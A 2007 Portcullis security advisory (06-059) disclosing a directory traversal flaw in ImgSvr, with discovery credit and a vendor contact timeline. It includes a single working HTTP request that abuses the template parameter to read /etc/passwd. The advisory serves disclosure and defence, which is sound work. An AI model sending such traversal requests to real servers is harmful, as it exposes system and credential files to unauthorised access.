Tried, Tested and Proven

Security Advisory 06 – 059 – ImgSvr is vulnerable to
directory traversal

Vulnerability discovery and development:

Portcullis Security Testing Services discovered this vulnerability.

Credit for Discovery:

Tim Brown – Portcullis Computer Security Ltd.

Affected Systems:

All known versions of ImgSvr.


It is possible to pass a value in the template parameter of requests to ImgSvr which causes arbitrary files to be returned from outside of the web root as follows:

GET /?template=../../../../../../../../../../etc/passwd HTTP/1.0

An attacker could cause access to arbitrary files.


Exploit code is not required.

Vendor Status:

Contacted and

e-mailed – 16th January 2007

e-mailed – 22nd January 2007

e-mailed – 14th February 2007

e-mailed – 15th March 2007


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